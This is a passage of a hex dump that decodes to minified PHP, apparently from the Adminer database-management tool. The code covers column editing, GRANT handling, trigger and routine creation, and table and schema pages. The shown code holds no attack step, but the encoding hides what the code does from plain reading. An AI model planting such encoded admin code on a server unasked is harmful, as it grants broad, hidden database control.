6F 6E 0A 70 72 6F 63 65 73 73 5F 66 69 65 6C 64 73 28 26 24 6E 29 7B 6B
73 6F 72 74 28 24 6E 29 3B 24 48 64 3D 30 3B 69 66 28 24 5F 50 4F 53 54
5B 22 75 70 22 5D 29 7B 24 5A 63 3D 30 3B 66 6F 72 65 61 63 68 28 24 6E
0A 61 73 24 79 3D 3E 24 6D 29 7B 69 66 28 6B 65 79 28 24 5F 50 4F 53 54
5B 22 75 70 22 5D 29 3D 3D 24 79 29 7B 75 6E 73 65 74 28 24 6E 5B 24 79
5D 29 3B 61 72 72 61 79 5F 73 70 6C 69 63 65 28 24 6E 2C 24 5A 63 2C 30
2C 61 72 72 61 79 28 24 6D 29 29 3B 62 72 65 61 6B 3B 7D 69 66 28 69 73
73 65 74 28 24 6D 5B 22 66 69 65 6C 64 22 5D 29 29 24 5A 63 3D 24 48 64
3B 24 48 64 2B 2B 3B 7D 7D 65 6C 73 65 69 66 28 24 5F 50 4F 53 54 5B 22
64 6F 77 6E 22 5D 29 7B 24 70 63 3D 66 61 6C 73 65 3B 66 6F 72 65 61 63
68 28 24 6E 0A 61 73 24 79 3D 3E 24 6D 29 7B 69 66 28 69 73 73 65 74 28
24 6D 5B 22 66 69 65 6C 64 22 5D 29 26 26 24 70 63 29 7B 75 6E 73 65 74
28 24 6E 5B 6B 65 79 28 24 5F 50 4F 53 54 5B 22 64 6F 77 6E 22 5D 29 5D
29 3B 61 72 72 61 79 5F 73 70 6C 69 63 65 28 24 6E 2C 24 48 64 2C 30 2C
61 72 72 61 79 28 24 70 63 29 29 3B 62 72 65 61 6B 3B 7D 69 66 28 6B 65
79 28 24 5F 50 4F 53 54 5B 22 64 6F 77 6E 22 5D 29 3D 3D 24 79 29 24 70
63 3D 24 6D 3B 24 48 64 2B 2B 3B 7D 7D 65 6C 73 65 69 66 28 24 5F 50 4F
53 54 5B 22 61 64 64 22 5D 29 7B 24 6E 3D 61 72 72 61 79 5F 76 61 6C 75
65 73 28 24 6E 29 3B 61 72 72 61 79 5F 73 70 6C 69 63 65 28 24 6E 2C 6B
65 79 28 24 5F 50 4F 53 54 5B 22 61 64 64 22 5D 29 2C 30 2C 61 72 72 61
79 28 61 72 72 61 79 28 29 29 29 3B 7D 65 6C 73 65 69 66 28 21 24 5F 50
4F 53 54 5B 22 64 72 6F 70 5F 63 6F 6C 22 5D 29 72 65 74 75 72 6E 0A 66
61 6C 73 65 3B 72 65 74 75 72 6E 0A 74 72 75 65 3B 7D 66 75 6E 63 74 69
6F 6E 0A 6E 6F 72 6D 61 6C 69 7A 65 5F 65 6E 75 6D 28 24 42 29 7B 72 65
74 75 72 6E 22 27 22 2E 73 74 72 5F 72 65 70 6C 61 63 65 28 22 27 22 2C
22 27 27 22 2C 61 64 64 63 73 6C 61 73 68 65 73 28 73 74 72 69 70 63 73
6C 61 73 68 65 73 28 73 74 72 5F 72 65 70 6C 61 63 65 28 24 42 5B 30 5D
5B 30 5D 2E 24 42 5B 30 5D 5B 30 5D 2C 24 42 5B 30 5D 5B 30 5D 2C 73 75
62 73 74 72 28 24 42 5B 30 5D 2C 31 2C 2D 31 29 29 29 2C 27 5C 5C 27 29
29 2E 22 27 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 67 72 61 6E 74 28 24 72
2C 24 5F 65 2C 24 66 2C 24 4E 64 29 7B 69 66 28 21 24 5F 65 29 72 65 74
75 72 6E 0A 74 72 75 65 3B 69 66 28 24 5F 65 3D 3D 61 72 72 61 79 28 22
41 4C 4C 20 50 52 49 56 49 4C 45 47 45 53 22 2C 22 47 52 41 4E 54 20 4F
50 54 49 4F 4E 22 29 29 72 65 74 75 72 6E 28 24 72 3D 3D 22 47 52 41 4E
54 22 3F 71 75 65 72 69 65 73 28 22 24 72 20 41 4C 4C 20 50 52 49 56 49
4C 45 47 45 53 24 4E 64 20 57 49 54 48 20 47 52 41 4E 54 20 4F 50 54 49
4F 4E 22 29 3A 71 75 65 72 69 65 73 28 22 24 72 20 41 4C 4C 20 50 52 49
56 49 4C 45 47 45 53 24 4E 64 22 29 26 26 71 75 65 72 69 65 73 28 22 24
72 20 47 52 41 4E 54 20 4F 50 54 49 4F 4E 24 4E 64 22 29 29 3B 72 65 74
75 72 6E 0A 71 75 65 72 69 65 73 28 22 24 72 20 22 2E 70 72 65 67 5F 72
65 70 6C 61 63 65 28 27 7E 28 47 52 41 4E 54 20 4F 50 54 49 4F 4E 29 5C
5C 28 5B 5E 29 5D 2A 5C 5C 29 7E 27 2C 27 5C 5C 31 27 2C 69 6D 70 6C 6F
64 65 28 22 24 66 2C 20 22 2C 24 5F 65 29 2E 24 66 29 2E 24 4E 64 29 3B
7D 66 75 6E 63 74 69 6F 6E 0A 64 72 6F 70 5F 63 72 65 61 74 65 28 24 5F
62 2C 24 69 2C 24 41 62 2C 24 48 66 2C 24 42 62 2C 24 41 2C 24 76 64 2C
24 74 64 2C 24 75 64 2C 24 4B 64 2C 24 43 64 29 7B 69 66 28 24 5F 50 4F
53 54 5B 22 64 72 6F 70 22 5D 29 71 75 65 72 79 5F 72 65 64 69 72 65 63
74 28 24 5F 62 2C 24 41 2C 24 76 64 29 3B 65 6C 73 65 69 66 28 24 4B 64
3D 3D 22 22 29 71 75 65 72 79 5F 72 65 64 69 72 65 63 74 28 24 69 2C 24
41 2C 24 75 64 29 3B 65 6C 73 65 69 66 28 24 4B 64 21 3D 24 43 64 29 7B
24 66 62 3D 71 75 65 72 69 65 73 28 24 69 29 3B 71 75 65 72 69 65 73 5F
72 65 64 69 72 65 63 74 28 24 41 2C 24 74 64 2C 24 66 62 26 26 71 75 65
72 69 65 73 28 24 5F 62 29 29 3B 69 66 28 24 66 62 29 71 75 65 72 69 65
73 28 24 41 62 29 3B 7D 65 6C 73 65 0A 71 75 65 72 69 65 73 5F 72 65 64
69 72 65 63 74 28 24 41 2C 24 74 64 2C 71 75 65 72 69 65 73 28 24 48 66
29 26 26 71 75 65 72 69 65 73 28 24 42 62 29 26 26 71 75 65 72 69 65 73
28 24 5F 62 29 26 26 71 75 65 72 69 65 73 28 24 69 29 29 3B 7D 66 75 6E
63 74 69 6F 6E 0A 63 72 65 61 74 65 5F 74 72 69 67 67 65 72 28 24 4E 64
2C 24 4C 29 7B 67 6C 6F 62 61 6C 24 78 3B 24 4C 66 3D 22 20 24 4C 5B 54
69 6D 69 6E 67 5D 20 24 4C 5B 45 76 65 6E 74 5D 22 3B 72 65 74 75 72 6E
22 43 52 45 41 54 45 20 54 52 49 47 47 45 52 20 22 2E 69 64 66 5F 65 73
63 61 70 65 28 24 4C 5B 22 54 72 69 67 67 65 72 22 5D 29 2E 28 24 78 3D
3D 22 6D 73 73 71 6C 22 3F 24 4E 64 2E 24 4C 66 3A 24 4C 66 2E 24 4E 64
29 2E 72 74 72 69 6D 28 22 20 24 4C 5B 54 79 70 65 5D 5C 6E 24 4C 5B 53
74 61 74 65 6D 65 6E 74 5D 22 2C 22 3B 22 29 2E 22 3B 22 3B 7D 66 75 6E
63 74 69 6F 6E 0A 63 72 65 61 74 65 5F 72 6F 75 74 69 6E 65 28 24 56 65
2C 24 4C 29 7B 67 6C 6F 62 61 6C 24 4C 63 3B 24 50 3D 61 72 72 61 79 28
29 3B 24 6E 3D 28 61 72 72 61 79 29 24 4C 5B 22 66 69 65 6C 64 73 22 5D
3B 6B 73 6F 72 74 28 24 6E 29 3B 66 6F 72 65 61 63 68 28 24 6E 0A 61 73
24 6D 29 7B 69 66 28 24 6D 5B 22 66 69 65 6C 64 22 5D 21 3D 22 22 29 24
50 5B 5D 3D 28 65 72 65 67 28 22 5E 28 24 4C 63 29 5C 24 22 2C 24 6D 5B
22 69 6E 6F 75 74 22 5D 29 3F 22 24 6D 5B 69 6E 6F 75 74 5D 20 22 3A 22
22 29 2E 69 64 66 5F 65 73 63 61 70 65 28 24 6D 5B 22 66 69 65 6C 64 22
5D 29 2E 70 72 6F 63 65 73 73 5F 74 79 70 65 28 24 6D 2C 22 43 48 41 52
41 43 54 45 52 20 53 45 54 22 29 3B 7D 72 65 74 75 72 6E 22 43 52 45 41
54 45 20 24 56 65 20 22 2E 69 64 66 5F 65 73 63 61 70 65 28 74 72 69 6D
28 24 4C 5B 22 6E 61 6D 65 22 5D 29 29 2E 22 20 28 22 2E 69 6D 70 6C 6F
64 65 28 22 2C 20 22 2C 24 50 29 2E 22 29 22 2E 28 69 73 73 65 74 28 24
5F 47 45 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 29 3F 22 20 52 45 54 55
52 4E 53 22 2E 70 72 6F 63 65 73 73 5F 74 79 70 65 28 24 4C 5B 22 72 65
74 75 72 6E 73 22 5D 2C 22 43 48 41 52 41 43 54 45 52 20 53 45 54 22 29
3A 22 22 29 2E 28 24 4C 5B 22 6C 61 6E 67 75 61 67 65 22 5D 3F 22 20 4C
41 4E 47 55 41 47 45 20 24 4C 5B 6C 61 6E 67 75 61 67 65 5D 22 3A 22 22
29 2E 72 74 72 69 6D 28 22 5C 6E 24 4C 5B 64 65 66 69 6E 69 74 69 6F 6E
5D 22 2C 22 3B 22 29 2E 22 3B 22 3B 7D 66 75 6E 63 74 69 6F 6E 0A 72 65
6D 6F 76 65 5F 64 65 66 69 6E 65 72 28 24 49 29 7B 72 65 74 75 72 6E 0A
70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 5E 28 5B 41 2D 5A 20 3D 5D
2B 29 20 44 45 46 49 4E 45 52 3D 60 27 2E 70 72 65 67 5F 72 65 70 6C 61
63 65 28 27 7E 40 28 2E 2A 29 7E 27 2C 27 60 40 60 28 25 7C 5C 5C 31 29
27 2C 6C 6F 67 67 65 64 5F 75 73 65 72 28 29 29 2E 27 60 7E 27 2C 27 5C
5C 31 27 2C 24 49 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 74 61 72 5F 66 69
6C 65 28 24 69 63 2C 24 51 66 29 7B 24 4B 3D 70 61 63 6B 28 22 61 31 30
30 61 38 61 38 61 38 61 31 32 61 31 32 22 2C 24 69 63 2C 36 34 34 2C 30
2C 30 2C 64 65 63 6F 63 74 28 24 51 66 2D 3E 73 69 7A 65 29 2C 64 65 63
6F 63 74 28 74 69 6D 65 28 29 29 29 3B 24 4B 61 3D 38 2A 33 32 3B 66 6F
72 28 24 73 3D 30 3B 24 73 3C 73 74 72 6C 65 6E 28 24 4B 29 3B 24 73 2B
2B 29 24 4B 61 2B 3D 6F 72 64 28 24 4B 5B 24 73 5D 29 3B 24 4B 2E 3D 73
70 72 69 6E 74 66 28 22 25 30 36 6F 22 2C 24 4B 61 29 2E 22 5C 30 20 22
3B 65 63 68 6F 24 4B 2C 73 74 72 5F 72 65 70 65 61 74 28 22 5C 30 22 2C
35 31 32 2D 73 74 72 6C 65 6E 28 24 4B 29 29 3B 24 51 66 2D 3E 73 65 6E
64 28 29 3B 65 63 68 6F 0A 73 74 72 5F 72 65 70 65 61 74 28 22 5C 30 22
2C 35 31 31 2D 28 24 51 66 2D 3E 73 69 7A 65 2B 35 31 31 29 25 35 31 32
29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 69 6E 69 5F 62 79 74 65 73 28 24 4B
63 29 7B 24 58 3D 69 6E 69 5F 67 65 74 28 24 4B 63 29 3B 73 77 69 74 63
68 28 73 74 72 74 6F 6C 6F 77 65 72 28 73 75 62 73 74 72 28 24 58 2C 2D
31 29 29 29 7B 63 61 73 65 27 67 27 3A 24 58 2A 3D 31 30 32 34 3B 63 61
73 65 27 6D 27 3A 24 58 2A 3D 31 30 32 34 3B 63 61 73 65 27 6B 27 3A 24
58 2A 3D 31 30 32 34 3B 7D 72 65 74 75 72 6E 24 58 3B 7D 24 4F 64 3D 22
52 45 53 54 52 49 43 54 7C 4E 4F 20 41 43 54 49 4F 4E 7C 43 41 53 43 41
44 45 7C 53 45 54 20 4E 55 4C 4C 7C 53 45 54 20 44 45 46 41 55 4C 54 22
3B 63 6C 61 73 73 0A 54 6D 70 46 69 6C 65 7B 76 61 72 24 68 61 6E 64 6C
65 72 3B 76 61 72 24 73 69 7A 65 3B 66 75 6E 63 74 69 6F 6E 0A 54 6D 70
46 69 6C 65 28 29 7B 24 74 68 69 73 2D 3E 68 61 6E 64 6C 65 72 3D 74 6D
70 66 69 6C 65 28 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 77 72 69 74 65 28
24 61 62 29 7B 24 74 68 69 73 2D 3E 73 69 7A 65 2B 3D 73 74 72 6C 65 6E
28 24 61 62 29 3B 66 77 72 69 74 65 28 24 74 68 69 73 2D 3E 68 61 6E 64
6C 65 72 2C 24 61 62 29 3B 7D 66 75 6E 63 74 69 6F 6E 0A 73 65 6E 64 28
29 7B 66 73 65 65 6B 28 24 74 68 69 73 2D 3E 68 61 6E 64 6C 65 72 2C 30
29 3B 66 70 61 73 73 74 68 72 75 28 24 74 68 69 73 2D 3E 68 61 6E 64 6C
65 72 29 3B 66 63 6C 6F 73 65 28 24 74 68 69 73 2D 3E 68 61 6E 64 6C 65
72 29 3B 7D 7D 24 50 62 3D 22 27 28 3F 3A 27 27 7C 5B 5E 27 5C 5C 5C 5C
5D 7C 5C 5C 5C 5C 2E 29 2A 2B 27 22 3B 24 4C 63 3D 22 49 4E 7C 4F 55 54
7C 49 4E 4F 55 54 22 3B 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22
73 65 6C 65 63 74 22 5D 29 26 26 28 24 5F 50 4F 53 54 5B 22 65 64 69 74
22 5D 7C 7C 24 5F 50 4F 53 54 5B 22 63 6C 6F 6E 65 22 5D 29 26 26 21 24
5F 50 4F 53 54 5B 22 73 61 76 65 22 5D 29 24 5F 47 45 54 5B 22 65 64 69
74 22 5D 3D 24 5F 47 45 54 5B 22 73 65 6C 65 63 74 22 5D 3B 69 66 28 69
73 73 65 74 28 24 5F 47 45 54 5B 22 63 61 6C 6C 66 22 5D 29 29 24 5F 47
45 54 5B 22 63 61 6C 6C 22 5D 3D 24 5F 47 45 54 5B 22 63 61 6C 6C 66 22
5D 3B 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 66 75 6E 63 74 69
6F 6E 22 5D 29 29 24 5F 47 45 54 5B 22 70 72 6F 63 65 64 75 72 65 22 5D
3D 24 5F 47 45 54 5B 22 66 75 6E 63 74 69 6F 6E 22 5D 3B 69 66 28 69 73
73 65 74 28 24 5F 47 45 54 5B 22 64 6F 77 6E 6C 6F 61 64 22 5D 29 29 7B
24 61 3D 24 5F 47 45 54 5B 22 64 6F 77 6E 6C 6F 61 64 22 5D 3B 24 6E 3D
66 69 65 6C 64 73 28 24 61 29 3B 68 65 61 64 65 72 28 22 43 6F 6E 74 65
6E 74 2D 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74
65 74 2D 73 74 72 65 61 6D 22 29 3B 68 65 61 64 65 72 28 22 43 6F 6E 74
65 6E 74 2D 44 69 73 70 6F 73 69 74 69 6F 6E 3A 20 61 74 74 61 63 68 6D
65 6E 74 3B 20 66 69 6C 65 6E 61 6D 65 3D 22 2E 66 72 69 65 6E 64 6C 79
5F 75 72 6C 28 22 24 61 2D 22 2E 69 6D 70 6C 6F 64 65 28 22 5F 22 2C 24
5F 47 45 54 5B 22 77 68 65 72 65 22 5D 29 29 2E 22 2E 22 2E 66 72 69 65
6E 64 6C 79 5F 75 72 6C 28 24 5F 47 45 54 5B 22 66 69 65 6C 64 22 5D 29
29 3B 65 63 68 6F 24 67 2D 3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54
22 2E 6C 69 6D 69 74 28 69 64 66 5F 65 73 63 61 70 65 28 24 5F 47 45 54
5B 22 66 69 65 6C 64 22 5D 29 2E 22 20 46 52 4F 4D 20 22 2E 74 61 62 6C
65 28 24 61 29 2C 22 20 57 48 45 52 45 20 22 2E 77 68 65 72 65 28 24 5F
47 45 54 2C 24 6E 29 2C 31 29 29 3B 65 78 69 74 3B 7D 65 6C 73 65 69 66
28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 74 61 62 6C 65 22 5D 29 29 7B
24 61 3D 24 5F 47 45 54 5B 22 74 61 62 6C 65 22 5D 3B 24 6E 3D 66 69 65
6C 64 73 28 24 61 29 3B 69 66 28 21 24 6E 29 24 6C 3D 65 72 72 6F 72 28
29 3B 24 52 3D 74 61 62 6C 65 5F 73 74 61 74 75 73 31 28 24 61 2C 74 72
75 65 29 3B 70 61 67 65 5F 68 65 61 64 65 72 28 28 24 6E 26 26 69 73 5F
76 69 65 77 28 24 52 29 3F 27 56 69 65 77 27 3A 27 54 61 62 6C 65 27 29
2E 22 3A 20 22 2E 68 28 24 61 29 2C 24 6C 29 3B 24 62 2D 3E 73 65 6C 65
63 74 4C 69 6E 6B 73 28 24 52 29 3B 24 56 61 3D 24 52 5B 22 43 6F 6D 6D
65 6E 74 22 5D 3B 69 66 28 24 56 61 21 3D 22 22 29 65 63 68 6F 22 3C 70
3E 22 2E 27 43 6F 6D 6D 65 6E 74 27 2E 22 3A 20 22 2E 68 28 24 56 61 29
2E 22 5C 6E 22 3B 69 66 28 24 6E 29 7B 65 63 68 6F 22 3C 74 61 62 6C 65
20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 3E 5C 6E 22 2C 22 3C 74
68 65 61 64 3E 3C 74 72 3E 3C 74 68 3E 22 2E 27 43 6F 6C 75 6D 6E 27 2E
22 3C 74 64 3E 22 2E 27 54 79 70 65 27 2E 28 73 75 70 70 6F 72 74 28 22
63 6F 6D 6D 65 6E 74 22 29 3F 22 3C 74 64 3E 22 2E 27 43 6F 6D 6D 65 6E
74 27 3A 22 22 29 2E 22 3C 2F 74 68 65 61 64 3E 5C 6E 22 3B 66 6F 72 65
61 63 68 28 24 6E 0A 61 73 24 6D 29 7B 65 63 68 6F 22 3C 74 72 22 2E 6F
64 64 28 29 2E 22 3E 3C 74 68 3E 22 2E 68 28 24 6D 5B 22 66 69 65 6C 64
22 5D 29 2C 22 3C 74 64 20 74 69 74 6C 65 3D 27 22 2E 68 28 24 6D 5B 22
63 6F 6C 6C 61 74 69 6F 6E 22 5D 29 2E 22 27 3E 22 2E 68 28 24 6D 5B 22
66 75 6C 6C 5F 74 79 70 65 22 5D 29 2E 28 24 6D 5B 22 6E 75 6C 6C 22 5D
3F 22 20 3C 69 3E 4E 55 4C 4C 3C 2F 69 3E 22 3A 22 22 29 2E 28 24 6D 5B
22 61 75 74 6F 5F 69 6E 63 72 65 6D 65 6E 74 22 5D 3F 22 20 3C 69 3E 22
2E 27 41 75 74 6F 20 49 6E 63 72 65 6D 65 6E 74 27 2E 22 3C 2F 69 3E 22
3A 22 22 29 2C 28 69 73 73 65 74 28 24 6D 5B 22 64 65 66 61 75 6C 74 22
5D 29 3F 22 20 5B 3C 62 3E 22 2E 68 28 24 6D 5B 22 64 65 66 61 75 6C 74
22 5D 29 2E 22 3C 2F 62 3E 5D 22 3A 22 22 29 2C 28 73 75 70 70 6F 72 74
28 22 63 6F 6D 6D 65 6E 74 22 29 3F 22 3C 74 64 3E 22 2E 6E 62 73 70 28
24 6D 5B 22 63 6F 6D 6D 65 6E 74 22 5D 29 3A 22 22 29 2C 22 5C 6E 22 3B
7D 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22 3B 69 66 28 21 69 73
5F 76 69 65 77 28 24 52 29 29 7B 65 63 68 6F 22 3C 68 33 20 69 64 3D 27
69 6E 64 65 78 65 73 27 3E 22 2E 27 49 6E 64 65 78 65 73 27 2E 22 3C 2F
68 33 3E 5C 6E 22 3B 24 76 3D 69 6E 64 65 78 65 73 28 24 61 29 3B 69 66
28 24 76 29 7B 65 63 68 6F 22 3C 74 61 62 6C 65 20 63 65 6C 6C 73 70 61
63 69 6E 67 3D 27 30 27 3E 5C 6E 22 3B 66 6F 72 65 61 63 68 28 24 76 0A
61 73 24 45 3D 3E 24 75 29 7B 6B 73 6F 72 74 28 24 75 5B 22 63 6F 6C 75
6D 6E 73 22 5D 29 3B 24 78 65 3D 61 72 72 61 79 28 29 3B 66 6F 72 65 61
63 68 28 24 75 5B 22 63 6F 6C 75 6D 6E 73 22 5D 61 73 24 79 3D 3E 24 58
29 24 78 65 5B 5D 3D 22 3C 69 3E 22 2E 68 28 24 58 29 2E 22 3C 2F 69 3E
22 2E 28 24 75 5B 22 6C 65 6E 67 74 68 73 22 5D 5B 24 79 5D 3F 22 28 22
2E 24 75 5B 22 6C 65 6E 67 74 68 73 22 5D 5B 24 79 5D 2E 22 29 22 3A 22
22 29 2E 28 24 75 5B 22 64 65 73 63 73 22 5D 5B 24 79 5D 3F 22 20 44 45
53 43 22 3A 22 22 29 3B 65 63 68 6F 22 3C 74 72 20 74 69 74 6C 65 3D 27
22 2E 68 28 24 45 29 2E 22 27 3E 3C 74 68 3E 24 75 5B 74 79 70 65 5D 3C
74 64 3E 22 2E 69 6D 70 6C 6F 64 65 28 22 2C 20 22 2C 24 78 65 29 2E 22
5C 6E 22 3B 7D 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22 3B 7D 65
63 68 6F 27 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E
27 69 6E 64 65 78 65 73 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29
2E 27 22 3E 27 2E 27 41 6C 74 65 72 20 69 6E 64 65 78 65 73 27 2E 22 3C
2F 61 3E 5C 6E 22 3B 69 66 28 66 6B 5F 73 75 70 70 6F 72 74 28 24 52 29
29 7B 65 63 68 6F 22 3C 68 33 20 69 64 3D 27 66 6F 72 65 69 67 6E 2D 6B
65 79 73 27 3E 22 2E 27 46 6F 72 65 69 67 6E 20 6B 65 79 73 27 2E 22 3C
2F 68 33 3E 5C 6E 22 3B 24 70 3D 66 6F 72 65 69 67 6E 5F 6B 65 79 73 28
24 61 29 3B 69 66 28 24 70 29 7B 65 63 68 6F 22 3C 74 61 62 6C 65 20 63
65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 3E 5C 6E 22 2C 22 3C 74 68 65
61 64 3E 3C 74 72 3E 3C 74 68 3E 22 2E 27 53 6F 75 72 63 65 27 2E 22 3C
74 64 3E 22 2E 27 54 61 72 67 65 74 27 2E 22 3C 74 64 3E 22 2E 27 4F 4E
20 44 45 4C 45 54 45 27 2E 22 3C 74 64 3E 22 2E 27 4F 4E 20 55 50 44 41
54 45 27 2E 28 24 78 21 3D 22 73 71 6C 69 74 65 22 3F 22 3C 74 64 3E 26
6E 62 73 70 3B 22 3A 22 22 29 2E 22 3C 2F 74 68 65 61 64 3E 5C 6E 22 3B
66 6F 72 65 61 63 68 28 24 70 0A 61 73 24 45 3D 3E 24 6F 29 7B 65 63 68
6F 22 3C 74 72 20 74 69 74 6C 65 3D 27 22 2E 68 28 24 45 29 2E 22 27 3E
22 2C 22 3C 74 68 3E 3C 69 3E 22 2E 69 6D 70 6C 6F 64 65 28 22 3C 2F 69
3E 2C 20 3C 69 3E 22 2C 61 72 72 61 79 5F 6D 61 70 28 27 68 27 2C 24 6F
5B 22 73 6F 75 72 63 65 22 5D 29 29 2E 22 3C 2F 69 3E 22 2C 22 3C 74 64
3E 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 24 6F 5B 22 64 62 22 5D 21 3D
22 22 3F 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 64 62 3D 5B 5E 26
5D 2A 7E 27 2C 22 64 62 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 6F 5B
22 64 62 22 5D 29 2C 4D 45 29 3A 28 24 6F 5B 22 6E 73 22 5D 21 3D 22 22
3F 70 72 65 67 5F 72 65 70 6C 61 63 65 28 27 7E 6E 73 3D 5B 5E 26 5D 2A
7E 27 2C 22 6E 73 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 6F 5B 22 6E
73 22 5D 29 2C 4D 45 29 3A 4D 45 29 29 2E 22 74 61 62 6C 65 3D 22 2E 75
72 6C 65 6E 63 6F 64 65 28 24 6F 5B 22 74 61 62 6C 65 22 5D 29 2E 22 27
3E 22 2E 28 24 6F 5B 22 64 62 22 5D 21 3D 22 22 3F 22 3C 62 3E 22 2E 68
28 24 6F 5B 22 64 62 22 5D 29 2E 22 3C 2F 62 3E 2E 22 3A 22 22 29 2E 28
24 6F 5B 22 6E 73 22 5D 21 3D 22 22 3F 22 3C 62 3E 22 2E 68 28 24 6F 5B
22 6E 73 22 5D 29 2E 22 3C 2F 62 3E 2E 22 3A 22 22 29 2E 68 28 24 6F 5B
22 74 61 62 6C 65 22 5D 29 2E 22 3C 2F 61 3E 22 2C 22 28 3C 69 3E 22 2E
69 6D 70 6C 6F 64 65 28 22 3C 2F 69 3E 2C 20 3C 69 3E 22 2C 61 72 72 61
79 5F 6D 61 70 28 27 68 27 2C 24 6F 5B 22 74 61 72 67 65 74 22 5D 29 29
2E 22 3C 2F 69 3E 29 22 2C 22 3C 74 64 3E 22 2E 6E 62 73 70 28 24 6F 5B
22 6F 6E 5F 64 65 6C 65 74 65 22 5D 29 2E 22 5C 6E 22 2C 22 3C 74 64 3E
22 2E 6E 62 73 70 28 24 6F 5B 22 6F 6E 5F 75 70 64 61 74 65 22 5D 29 2E
22 5C 6E 22 2C 28 24 78 3D 3D 22 73 71 6C 69 74 65 22 3F 22 22 3A 27 3C
74 64 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 2E 27 66 6F 72 65
69 67 6E 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29 2E 27 26 6E 61
6D 65 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 45 29 29 2E 27 22 3E 27
2E 27 41 6C 74 65 72 27 2E 27 3C 2F 61 3E 27 29 3B 7D 65 63 68 6F 22 3C
2F 74 61 62 6C 65 3E 5C 6E 22 3B 7D 69 66 28 24 78 21 3D 22 73 71 6C 69
74 65 22 29 65 63 68 6F 27 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68
28 4D 45 29 2E 27 66 6F 72 65 69 67 6E 3D 27 2E 75 72 6C 65 6E 63 6F 64
65 28 24 61 29 2E 27 22 3E 27 2E 27 41 64 64 20 66 6F 72 65 69 67 6E 20
6B 65 79 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 7D 69 66 28 73 75 70 70 6F 72
74 28 22 74 72 69 67 67 65 72 22 29 29 7B 65 63 68 6F 22 3C 68 33 20 69
64 3D 27 74 72 69 67 67 65 72 73 27 3E 22 2E 27 54 72 69 67 67 65 72 73
27 2E 22 3C 2F 68 33 3E 5C 6E 22 3B 24 5A 66 3D 74 72 69 67 67 65 72 73
28 24 61 29 3B 69 66 28 24 5A 66 29 7B 65 63 68 6F 22 3C 74 61 62 6C 65
20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 3E 5C 6E 22 3B 66 6F 72
65 61 63 68 28 24 5A 66 0A 61 73 24 79 3D 3E 24 58 29 65 63 68 6F 22 3C
74 72 20 76 61 6C 69 67 6E 3D 27 74 6F 70 27 3E 3C 74 64 3E 24 58 5B 30
5D 3C 74 64 3E 24 58 5B 31 5D 3C 74 68 3E 22 2E 68 28 24 79 29 2E 22 3C
74 64 3E 3C 61 20 68 72 65 66 3D 27 22 2E 68 28 4D 45 2E 27 74 72 69 67
67 65 72 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 61 29 2E 27 26 6E 61
6D 65 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 79 29 29 2E 22 27 3E 22
2E 27 41 6C 74 65 72 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 65 63 68 6F 22 3C
2F 74 61 62 6C 65 3E 5C 6E 22 3B 7D 65 63 68 6F 27 3C 70 3E 3C 61 20 68
72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 74 72 69 67 67 65 72 3D 27 2E
75 72 6C 65 6E 63 6F 64 65 28 24 61 29 2E 27 22 3E 27 2E 27 41 64 64 20
74 72 69 67 67 65 72 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 7D 7D 7D 7D 65 6C
73 65 69 66 28 69 73 73 65 74 28 24 5F 47 45 54 5B 22 73 63 68 65 6D 61
22 5D 29 29 7B 70 61 67 65 5F 68 65 61 64 65 72 28 27 44 61 74 61 62 61
73 65 20 73 63 68 65 6D 61 27 2C 22 22 2C 61 72 72 61 79 28 29 2C 44 42
2E 28 24 5F 47 45 54 5B 22 6E 73 22 5D 3F 22 2E 24 5F 47 45 54 5B 6E 73
5D 22 3A 22 22 29 29 3B 24 5F 66 3D 61 72 72 61 79 28 29 3B 24 41 66 3D
61 72 72 61 79 28 29 3B 24 45 3D 22 61 64 6D 69 6E 65 72 5F 73 63 68 65
6D 61 22 3B 24 65 61 3D 28 24 5F 47 45 54 5B 22 73 63 68 65 6D 61 22 5D
3F 24 5F 47 45 54 5B 22 73 63 68 65 6D 61 22 5D 3A 24 5F 43 4F 4F 4B 49
45 5B 28 24 5F 43 4F 4F 4B 49 45 5B 22 24 45 2D 22 2E 44 42 5D 3F 22 24
45 2D 22 2E 44 42 3A 24 45 29 5D 29 3B 70 72 65 67 5F 6D 61 74 63 68 5F
61 6C 6C 28 27 7E 28 5B 5E 3A 5D 2B 29 3A 28 5B 2D 30 2D 39 2E 5D 2B 29
78 28 5B 2D 30 2D 39 2E 5D 2B 29 28 5F 7C 24 29 7E 27 2C 24 65 61 2C 24
6C 64 2C 50 52 45 47 5F 53 45 54 5F 4F 52 44 45 52 29 3B 66 6F 72 65 61
63 68 28 24 6C 64 0A 61 73 24 73 3D 3E 24 42 29 7B 24 5F 66 5B 24 42 5B
